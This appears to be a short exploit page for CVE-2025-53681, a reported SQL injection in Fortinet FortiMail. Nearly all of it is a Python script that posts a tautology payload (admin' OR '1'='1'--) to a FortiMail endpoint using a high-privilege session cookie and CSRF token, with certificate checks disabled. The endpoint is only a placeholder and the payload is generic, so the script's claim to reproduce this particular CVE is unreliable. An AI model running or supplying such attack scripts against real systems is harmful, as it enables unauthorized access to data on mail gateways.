CVE-2025-53681 Fortinet FortiMail SQL注入漏洞

import requests # Exploit Title: Fortinet FortiMail SQL Injection PoC (CVE-2025-53681) # Description: This script demonstrates sending a crafted request to trigger the SQLi. # Note: Requires authenticated high-privileged session. target_url = "https://<fortimail-ip>/api/vulnerable_endpoint" # Attacker's session cookie (High privilege required) cookies = { "CCSRFToken": "<valid_csrf_token>", "ADSESSIONID": "<valid_session_id>" } # Headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload to test SQL Injection # Example: Attempting to bypass logic or extract data payload = "admin' OR '1'='1'--" data = { "username": payload, "submit": "submit" } try: response = requests.post(target_url, headers=headers, cookies=cookies, data=data, verify=False, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")